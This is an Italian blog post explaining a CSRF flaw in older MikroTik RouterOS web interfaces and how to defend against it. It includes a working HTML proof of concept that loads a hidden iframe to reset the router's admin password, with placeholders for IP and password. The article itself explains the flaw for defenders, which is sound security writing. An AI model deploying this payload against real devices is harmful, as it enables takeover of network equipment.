WirelessGuru-Mikrotik-HowtoIn questi giorni è stata segnalata una vulnerabilità degli apparati MikroTik. In specifico si tratta di un attacco di tipo CSRF che permette di modificare, ad insaputa dell’amministratore di sistema, la password di admin degli apparati MikroTik.

Ma come funziona esattamente questa tipologia di attacco? Che cosa è un attacco CSRF? Vediamo di seguito come poter simulare questo attacco e come difendersi.

Innanzitutto vediamo cosa è una attacco CSRF:

Cross-Site Request Forgery (CSRF) è un attacco che forza l’utente finale ad eseguire involontariamente delle azioni in un’applicazione web nella quale è attualmente autenticato. Normalmente questa tipologia di attacco non permette di rubare informazioni ma permette di cambiare degli stati, come ad esempio la password di accesso.Name of the source

Quindi un attacco CSRF necessita di 2 condizioni che devono essere contemporaneamente presenti:

  1. Essere loggati via web (e non via winbox) su un apparato MiktroTik
  2. Aprire un link malevolo che contiene l’exploit

Ma cosa c’è dentro questo link malevolo?

Nel link malevolo alla fine c’è “poco”, una chiamata “forgiata” ad hoc per cambiare la password di admin, ecco un esempio di codice di una pagina HTML che esegue l’inject malevolo verso un router dopo aver fatto click sul pulsante “Esegui il codice malevolo”, ovviamente una pagina web puo’ eseguire uno script del genere senza interazione utente, basterà solamente aprire il link in questione. Ecco il codice di esempio, modificate in base all’IP del device e la password nuova:

[code]
<html>
<head><title>MikroTik RouterOS Admin Password Change CSRF
Vulnerability</title>
</head>
<body>
<h1>MikroTik vulnerabilità di cambio malevolo alla password di admin tramite attacco CSRF by Gianni@WirelessGuru</h1>
</br>
<input type="submit" value="Esegui il codice malevolo" onclick="var
btn=document.createElement(‘IFRAME’);btn.src=’
http://<IP-del-device-MikroTik>/cfg?page=status&counter=1000&process=password&password1=<NUOVAPASSWORD>&password2=<NUOVAPASSWORD>&button=ok’;btn.width=’0′;btn.height=’0′;btn.id=’myIframe’;document.body.appendChild(btn);alert(‘Pwned’)
;"></br>
</body>
</html>
[/code]

A questo punto però vorrei aggiungere che questa vulnerabilità è presente esclusivamente su device MikroTik con release di RouterOS inferiore alla 5,x. A questo punto, dopo aver analizzato l’exploit e tenuto in considerazione la versione firmware, direi di ampliare la nostra lista di condizioni:

  1. Essere loggati via web (e non via winbox) su un apparato MiktroTik
  2. Aprire un link malevolo che contiene l’exploit
  3. Avere l’apparato con una versione di RouterOS inferiore alla 5.x

Con quest’ultima considerazione direi che molti amministratori di reti MikroTik based potranno tirare un sospiro di sollievo, attualmente siamo alla versione di RouterOS 6.32 e di apparati in circolazione con versione di RouterOS inferiore alla 5.x ce ne stanno sempre meno. Però ce ne stanno ancora in giro: alzi la mano chi non ha in gestione apparati con versione RouterOS inferiore alla 5.x. Considerate inoltre che questo “bug” è stato scoperto di recente, a conferma che di installazioni di apparati con versioni di RouterOS inferiori alla 5.x in giro ce ne stiamo molte.

Forse è giunto il momento di fare un upgrade della versione di RouterOS? Se c’è la possibilità di eseguire del codice malevolo con tecnica CSRF tramite la WebGUI di MikroTik direi che la vecchia versione non è molto solida da un punto di vista della sicurezza, è probabile quindi che ci siano altri exploit “nascosti”. Se non si vuole fare un upgrade ad una versione di RouterOS più recente sarebbe comunque il caso di disabilitare l’accesso via web ed usare il buon vecchio Winbox 🙂

 



Summary

HashFlare
HashFlare
HashFlare
HashFlare
HashFlare
HashFlare
HashFlare
HashFlare
HashFlare
HashFlare
HashFlare
HashFlare